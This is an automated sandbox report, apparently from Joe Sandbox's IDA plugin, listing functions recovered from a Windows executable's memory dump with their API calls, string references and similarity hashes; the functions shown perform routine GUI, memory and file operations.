Associated: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID: AddressFreeLibraryProcstrlen$InitializeLoadTaskmemsetstrncpy
String ID: @$SHBrowseForFolder$SHELL32.DLL$SHGetPathFromIDList
API String ID: 1137656791-1801489780
Opcode ID: d0772f556505189ebe70807fcab58d77b8969dd6fcc445947570fce6bb494dae
Instruction ID: 3440e14c815a203a1a78cd3407a2a10063d2b49fea99d3606607f3928df854cf
Opcode Fuzzy Hash: d0772f556505189ebe70807fcab58d77b8969dd6fcc445947570fce6bb494dae
Instruction Fuzzy Hash: AF419171800208AFDB11EFA5CC45ADE7FB8AF05315F0080BAF554BA292D7B99E14CF59

Function 00404925 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 73memorywindowCOMMON

Download Yara Rule

APIs

GetWindow.USER32(00000000,00000004), ref: 0040494B
SetActiveWindow.USER32(00000000), ref: 0040495C
RemovePropA.USER32(00000000,PB_WindowID), ref: 00404970
RemovePropA.USER32(00000000,PB_DropAccept), ref: 00404979
RevokeDragDrop.OLE32(00000000), ref: 00404982
SendMessageA.USER32(?,00000221,00000000,00000000), ref: 00404999
sprintf.MSVCRT ref: 004049B8
UnregisterClassA.USER32(?), ref: 004049CD
HeapFree.KERNEL32(00000000,?), ref: 004049E3
DestroyAcceleratorTable.USER32(?), ref: 004049EC
DeleteObject.GDI32(?), ref: 004049FA

Strings

PB_DropAccept, xrefs: 00404972
PB_WindowID, xrefs: 00404969
WindowClass_%d, xrefs: 004049B2

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID: PropRemoveWindow$AcceleratorActiveClassDeleteDestroyDragDropFreeHeapMessageObjectRevokeSendTableUnregistersprintf
String ID: PB_DropAccept$PB_WindowID$WindowClass_%d
API String ID: 192457453-976223216
Opcode ID: 884db38a7d1111d9f10292c509c9a9f5fdc1eb4f4251496c9c73458246e950c8
Instruction ID: 76adc180981eb15cd37713a9aaa1cc34ae54204bacec3ed2c8797916cc70c0fb
Opcode Fuzzy Hash: 884db38a7d1111d9f10292c509c9a9f5fdc1eb4f4251496c9c73458246e950c8
Instruction Fuzzy Hash: CC214CB1500305EBDB216F71ED09F5B7BB9EB44740F148439FA41B21A0C736D8659B9D

Function 00404F24 Relevance: 16.6, APIs: 11, Instructions: 121windowmemoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?), ref: 00404F58
HeapFree.KERNEL32(00000000,?), ref: 00404F64
HeapFree.KERNEL32(00000000,?), ref: 00404F90
PeekMessageA.USER32(?,00000000,00000000,00000000,00000003), ref: 00404FB8
MsgWaitForMultipleObjects.USER32(00000000,00000000,00000000,000000FF,000001FF), ref: 00404FD5
PeekMessageA.USER32(?,00000000,00000000,00000000,00000003), ref: 00404FEB
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 00404FF7
GetActiveWindow.USER32 ref: 00404FFD
TranslateAccelerator.USER32(00000000,00000000,?), ref: 00405015
TranslateMessage.USER32(?), ref: 00405023
DispatchMessageA.USER32(?), ref: 0040502D

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID: Message$FreeHeap$PeekTranslate$AcceleratorActiveDispatchMultipleObjectsWaitWindow
String ID:
API String ID: 1286715895-0
Opcode ID: 3aa7afa24f23fb48fd7e382b0f9acd0eb5a68456695db67f310d9a4f03716252
Instruction ID: df21f5fe5c289298ab728cd37bb52f6d8c99b9184479e931f6e0fc541ff44454
Opcode Fuzzy Hash: 3aa7afa24f23fb48fd7e382b0f9acd0eb5a68456695db67f310d9a4f03716252
Instruction Fuzzy Hash: 14415CB0900706EFCB20DF65DD88C6BBBF8EB85740710853AF556E62A0D338D945CB69

Function 00405C70 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78windowstringCOMMON

Download Yara Rule

APIs

GetActiveWindow.USER32 ref: 00405C79
GetFocus.USER32 ref: 00405C82
IsChild.USER32(00000001,00000000), ref: 00405C99
GetClassNameA.USER32(00000000,?,00000032), ref: 00405CB3
strcmp.MSVCRT ref: 00405CC2
GetParent.USER32(00000000), ref: 00405CD8
SetFocus.USER32(?), ref: 00405D0D

Strings

MDI_ChildClass, xrefs: 00405CBC

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID: Focus$ActiveChildClassNameParentWindowstrcmp
String ID: MDI_ChildClass
API String ID: 1701595447-1946758919
Opcode ID: c352efb6cce607ec546e30be8c2b5fe9326b74cc56803c011c7057062d4ff570
Instruction ID: d253d9b16c365dcb60b46e847a60c04356fa5ff6473b175f6f9f07f47c3fcc33
Opcode Fuzzy Hash: c352efb6cce607ec546e30be8c2b5fe9326b74cc56803c011c7057062d4ff570
Instruction Fuzzy Hash: 1C210C72D04719EBDF11AFA59D488AFBBB8FE44301B20843BE501B2290D7384E51DF5A

Function 004056EF Relevance: 12.6, APIs: 6, Strings: 1, Instructions: 320windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0040523F: SystemParametersInfoA.USER32(00000026,00000000,?,00000000), ref: 00405290
Part of subcall function 0040523F: GetWindowRect.USER32(?,00000010), ref: 004052B8
Part of subcall function 0040523F: GetWindowRect.USER32(?,00000020), ref: 004052C1
Part of subcall function 0040523F: GetSystemMetrics.USER32(0000003D), ref: 004052D1
Part of subcall function 0040523F: GetSystemMetrics.USER32(0000003E), ref: 004052D8
Part of subcall function 0040523F: GetWindowLongA.USER32(?,000000F0), ref: 004052E2
Part of subcall function 0040523F: GetSystemMetrics.USER32(00000005), ref: 004052F1
Part of subcall function 0040523F: GetSystemMetrics.USER32(0000002E), ref: 00405311
Part of subcall function 0040523F: GetSystemMetrics.USER32(00000022), ref: 00405320
Part of subcall function 0040523F: GetSystemMetrics.USER32(00000023), ref: 00405327
Part of subcall function 0040523F: GetSystemMetrics.USER32(0000003B), ref: 0040532E
Part of subcall function 0040523F: GetSystemMetrics.USER32(0000003C), ref: 00405335
Part of subcall function 0040523F: SendMessageA.USER32(?,00000024,00000000,00000034), ref: 0040534A
Part of subcall function 0040523F: GetKeyState.USER32(00000001), ref: 0040534E
Part of subcall function 0040523F: SendMessageA.USER32(?,00000201,00000001,00000000), ref: 00405364
Part of subcall function 0040523F: SetCapture.USER32(?), ref: 00405369
Part of subcall function 0040523F: PostMessageA.USER32(?,00000231,00000000,00000000), ref: 00405379

GetPropA.USER32(?,PB_WindowID), ref: 00405736
GetParent.USER32(?), ref: 00405746
GetClientRect.USER32(?,00000000), ref: 004058A2
FillRect.USER32(?,00000000,?), ref: 004058B2
GetWindowLongA.USER32(?,000000F4), ref: 0040593F
PostMessageA.USER32(?,000030D6,?,?), ref: 00405AB9

Strings

PB_WindowID, xrefs: 0040572E

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID: System$Metrics$MessageRectWindow$LongPostSend$CaptureClientFillInfoParametersParentPropState
String ID: PB_WindowID
API String ID: 2736716905-1508741625
Opcode ID: 57c730f274317fda02807e17650faa5da67cc4a28ae41b1b925619af7619a5b7
Instruction ID: 29e404874b04c4d69bc6432aaff022b43f6243613acb16a20f2353146ae1e986
Opcode Fuzzy Hash: 57c730f274317fda02807e17650faa5da67cc4a28ae41b1b925619af7619a5b7
Instruction Fuzzy Hash: FAB1AE71600A06EBDF20AF55C884ABB7BB1EB54314F60843BF845B62D0D3399A91EF5D

Function 0040384E Relevance: 10.5, APIs: 7, Instructions: 41threadwindowCOMMON

Download Yara Rule

APIs

GetWindowThreadProcessId.USER32(?,00000000), ref: 00403858
GetCurrentThreadId.KERNEL32 ref: 00403866
IsWindowVisible.USER32(?), ref: 0040386D
IsWindowEnabled.USER32(?), ref: 00403878
GetForegroundWindow.USER32 ref: 00403882
EnableWindow.USER32(?,00000000), ref: 0040388F

Part of subcall function 004067DA: RtlAllocateHeap.NTDLL(00000008,?,00406649), ref: 004067E6

GetCurrentThreadId.KERNEL32 ref: 004038A8

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID: Window$Thread$Current$AllocateEnableEnabledForegroundHeapProcessVisible
String ID:
API String ID: 2983394722-0
Opcode ID: c450f822fb23aaa1f07191116ce03786d4f9d21f61ba6e89b33f6b73c8d7f18a
Instruction ID: b1902f0b285d8ff1f38c9be8955405961f45d1445ca6c4829f96fecf42db4020
Opcode Fuzzy Hash: c450f822fb23aaa1f07191116ce03786d4f9d21f61ba6e89b33f6b73c8d7f18a
Instruction Fuzzy Hash: 06F0F9322047109BE321BF75AD88B2F7AF8EF45B61B14843AF541F3291DB38D851966E

Function 004042DD Relevance: 9.0, APIs: 6, Instructions: 45COMMON

Download Yara Rule

APIs

IsWindowEnabled.USER32(00000133), ref: 004042FE
SetTextColor.GDI32(?,?), ref: 0040431E
GetSysColor.USER32(00000014), ref: 0040432C
SetBkColor.GDI32(?,00000000), ref: 00404334
GetSysColorBrush.USER32(00000014), ref: 00404338
SetBkColor.GDI32(?,?), ref: 0040434A

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID: Color$BrushEnabledTextWindow
String ID:
API String ID: 3110319690-0
Opcode ID: 2586222dea3612670b7304aedc5cdf2e6f6e10432f4c11a66ce39ca8f2a3d8e0
Instruction ID: 3bac33a7e9d7aff12e56e7c95b9a227e0688ac08b885ac0313a6761ddb88b25f
Opcode Fuzzy Hash: 2586222dea3612670b7304aedc5cdf2e6f6e10432f4c11a66ce39ca8f2a3d8e0
Instruction Fuzzy Hash: F2012171200305AFD620AB69AC48957B3FCEB84331F045B3AFA65E32E1C774EC158A26

Function 004047BB Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

SetWindowLongA.USER32(000000FF,000000FC,00404714), ref: 004047F5
SetWindowLongA.USER32(000000FF,000000F4,000000FF), ref: 00404800
SetPropA.USER32(000000FF,PB_ID,000000FF), ref: 0040480B
SendMessageA.USER32(000000FF,00000030,000000FF,00000001), ref: 0040481C

Strings

PB_ID, xrefs: 00404805

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID: LongWindow$MessagePropSend
String ID: PB_ID
API String ID: 499798845-4173770792
Opcode ID: 6c9e0b72c496245141bbbd0762a8a9e14c4b78381a73b06c8fa17946a66a15c7
Instruction ID: 95a633425f538de9a54c52fb3ff2f65ec4db39112d0deefb15a4c97684d4ca47
Opcode Fuzzy Hash: 6c9e0b72c496245141bbbd0762a8a9e14c4b78381a73b06c8fa17946a66a15c7
Instruction Fuzzy Hash: 900192B5500308BFCB119F55DD84E8A7BB8FB44760F20C626F925672D1C374D950CBA4

Function 00406060 Relevance: 7.6, APIs: 5, Instructions: 100filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,00A405B8,?,?,?,00A412E0,?,00406244,00000001,00000001), ref: 00406090
CreateFileA.KERNEL32(?,C0000000,00000001,00000000,00000004,00000080,00000000,00A405B8,?,?,?,00A412E0,?,00406244,00000001,00000001), ref: 004060B2
RtlAllocateHeap.NTDLL(00A40000,00000000,00001000), ref: 00406116

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID: CreateFile$AllocateHeap
String ID:
API String ID: 2813278966-0
Opcode ID: aaea696fe30d237ab769c408f8669e979df440928f28e225a3f20fdb7f4e7eba
Instruction ID: 22e7740ac045cd4ad30a1761b82f9b87c0991fe1563c31a0c7e75b116f9b4f37
Opcode Fuzzy Hash: aaea696fe30d237ab769c408f8669e979df440928f28e225a3f20fdb7f4e7eba
Instruction Fuzzy Hash: 7321D67278031176E2309B28AC46F57B358A744B71F22873AF762BB2C0C7B5AC64479D

Function 00405BB5 Relevance: 7.5, APIs: 5, Instructions: 41windowCOMMON

Download Yara Rule

APIs

IsWindowEnabled.USER32(?), ref: 00405BBF
IsWindowVisible.USER32(?), ref: 00405BCA
GetWindowLongA.USER32(?,000000F0), ref: 00405BD7
SetFocus.USER32(?), ref: 00405BF0
SetFocus.USER32(?), ref: 00405C01

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID: Window$Focus$EnabledLongVisible
String ID:
API String ID: 1625685152-0
Opcode ID: 1cc726b80f6959b4fb63163bba2464a36b234552e2cf5b930eb7b1ae95d43349
Instruction ID: c6146cca50ef5e8f765ec7b6592dd4ff06736dc7ed718ebd510666ced0979e75
Opcode Fuzzy Hash: 1cc726b80f6959b4fb63163bba2464a36b234552e2cf5b930eb7b1ae95d43349
Instruction Fuzzy Hash: D0F049302087015FE7215F659D8876B72B8FF95755714843EF151F21D0C778D891DA1E

Function 0040416A Relevance: 7.5, APIs: 5, Instructions: 39COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,?), ref: 00404195
GetSysColor.USER32(0000000F), ref: 004041A3
SetBkColor.GDI32(?,00000000), ref: 004041AB
GetSysColorBrush.USER32(0000000F), ref: 004041AF
SetBkColor.GDI32(?,?), ref: 004041C1

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID: Color$BrushText
String ID:
API String ID: 3324192670-0
Opcode ID: 54f08122a01e30bdfa786a13594a16f17e30ab6433d94faf13bd1f2d81774b56
Instruction ID: d8e8ad06d9decbb24c27d3cc026bde09b1a35479a682271e2c605a4ee8a6c308
Opcode Fuzzy Hash: 54f08122a01e30bdfa786a13594a16f17e30ab6433d94faf13bd1f2d81774b56
Instruction Fuzzy Hash: CDF044B1100304ABD220AB299C48967B3FCEBA4331F004B36FA75E32D1C774AC558A66

Function 004043AE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004043D8
CreateWindowExA.USER32(?,Edit,00000000,?,?,?,?,?,00000000,000000FF,00000000), ref: 00404466
SetWindowLongA.USER32(00000000,000000FC,Function_00004358), ref: 0040448A

Strings

Edit, xrefs: 00404460

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID: Window$CreateLongmemset
String ID: Edit
API String ID: 2917088559-554135844
Opcode ID: 447a2ae06f6b165a5cefae3f0fe963aec8ed8a20647a4be4382fc43a3d524c26
Instruction ID: 6d6bdd9e0c8eed947640fc1b11ecc7fcd9f2bd5d8b727347204d49e96c7c13b5
Opcode Fuzzy Hash: 447a2ae06f6b165a5cefae3f0fe963aec8ed8a20647a4be4382fc43a3d524c26
Instruction Fuzzy Hash: 7A217CB1500205ABDB215F12ED09F5B3FB5EB84325F10823EF960B62E1D77988249B9C

Function 00403A79 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00407750: RtlReAllocateHeap.NTDLL(00A30000,00000001,00A30700,000040FF), ref: 00407797

GetModuleFileNameA.KERNEL32(00000000,00000104,00000104,?,?,?,00000000,00401B51,00000000,00000000,00000000,00000000,00000001,00000001,00000001,00000000), ref: 00403A95
strcmp.MSVCRT ref: 00403AA3
memmove.MSVCRT(00000000,00000004,-00000004,?,?,00000000,00401B51,00000000,00000000,00000000,00000000,00000001,00000001,00000001,00000000,00000000), ref: 00403AB7

Strings

\\?\, xrefs: 00403A9B

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID: AllocateFileHeapModuleNamememmovestrcmp
String ID: \\?\
API String ID: 1538048364-4282027825
Opcode ID: 0d894860d998a38802a0c339f33e2d9615a6d37d521d3afdbe7a484fcb4a0eb9
Instruction ID: b2d6bd18301c6a615e078c624f6e571f893afb971f9df6f800e3a030ac3227e0
Opcode Fuzzy Hash: 0d894860d998a38802a0c339f33e2d9615a6d37d521d3afdbe7a484fcb4a0eb9
Instruction Fuzzy Hash: 90F027B36053016AD31066769D89E9B6B9CDF94364F104437F500E2182E638A91083B9

Function 004040E0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

RtlInitializeCriticalSection.NTDLL(0040B40C), ref: 004040EA
GetStockObject.GDI32(00000011), ref: 004040F2

Part of subcall function 004066F1: RtlAllocateHeap.NTDLL(00000008,00000020), ref: 00406703
Part of subcall function 004066F1: RtlAllocateHeap.NTDLL(00000008,?), ref: 0040672E

Part of subcall function 00406434: RtlAllocateHeap.NTDLL(00000008,?), ref: 00406441

memset.MSVCRT ref: 0040412E

Strings

3Ro, xrefs: 00404148

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID: AllocateHeap$CriticalInitializeObjectSectionStockmemset
String ID: 3Ro
API String ID: 681713604-1492261280
Opcode ID: a8a5b75b4186f5b19981e93ddefbcc3adfbe2300ea032735be8ca8f602144bb4
Instruction ID: 8b4459e147fa465f05f031457460f5437a22d41cf9d00d9cfe2b139fd080bdb1
Opcode Fuzzy Hash: a8a5b75b4186f5b19981e93ddefbcc3adfbe2300ea032735be8ca8f602144bb4
Instruction Fuzzy Hash: 63F036B1A50304BAD700ABA09D4BF8D3BA8E704708F50403AB301B61C2DBF95654979D

Function 004020B1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(0040139A,00000000,0000000A), ref: 004020CE
LoadResource.KERNEL32(?,00000000,00000000,00000000,0040139A,OPS,00000000,00000000), ref: 004020E6
SizeofResource.KERNEL32(?,00000000,?,00000000,00000000,00000000,0040139A,OPS,00000000,00000000), ref: 004020F8

Strings

lB, xrefs: 004020EB

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID: Resource$FindLoadSizeof
String ID: lB
API String ID: 507330600-3702596448
Opcode ID: edf130433116dfd7c93db7e85d3f1517815cee4d5f8ab569f922270cbb5b81ab
Instruction ID: 6d28ba78a0d218b081487b1e7dd037222f4673f4e98f5ffc71b2acd0128368f3
Opcode Fuzzy Hash: edf130433116dfd7c93db7e85d3f1517815cee4d5f8ab569f922270cbb5b81ab
Instruction Fuzzy Hash: C5F01730508301AFC705EF20CE45A1ABAE5FB98B05F008C3EB5886A1A0D3759D14EB4A

Function 00404E09 Relevance: 6.1, APIs: 4, Instructions: 87memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00000006), ref: 00404E99
DestroyAcceleratorTable.USER32(?), ref: 00404F07
CreateAcceleratorTableA.USER32(?,?,?), ref: 00404F13

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID: AcceleratorTable$AllocateCreateDestroyHeap
String ID:
API String ID: 1846328917-0
Opcode ID: 6d5d5c72cacb5ceb41d0a126b86641f2415a59e02c6a290ff14f8ae474ad7ed6
Instruction ID: bc9dcee14bbf4dd975b3e87a1cfaf1458909dabdc56a66c9757580d18e599811
Opcode Fuzzy Hash: 6d5d5c72cacb5ceb41d0a126b86641f2415a59e02c6a290ff14f8ae474ad7ed6
Instruction Fuzzy Hash: E8319E70100702DBC724CF24CA45A6ABBF5FF94704F10C82DE96AAB6A0E375EA50DB48

Function 00407650 Relevance: 6.1, APIs: 4, Instructions: 62memorystringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00407665
RtlAllocateHeap.NTDLL(00A30000,00000001,-00000005), ref: 00407687
RtlReAllocateHeap.NTDLL(00A30000,00000001,?,-00000005), ref: 004076AA
HeapFree.KERNEL32(00A30000,00000001), ref: 004076E0

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

